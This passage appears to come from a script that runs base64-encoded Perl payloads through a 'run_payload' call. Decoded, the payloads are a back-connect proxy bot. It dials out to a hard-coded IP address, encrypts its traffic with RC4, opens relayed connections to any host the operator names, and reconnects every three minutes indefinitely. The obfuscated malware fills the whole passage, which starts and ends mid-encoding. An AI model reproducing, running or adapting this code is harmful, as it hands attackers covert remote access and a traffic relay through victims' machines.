JCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_36.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTc4JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KC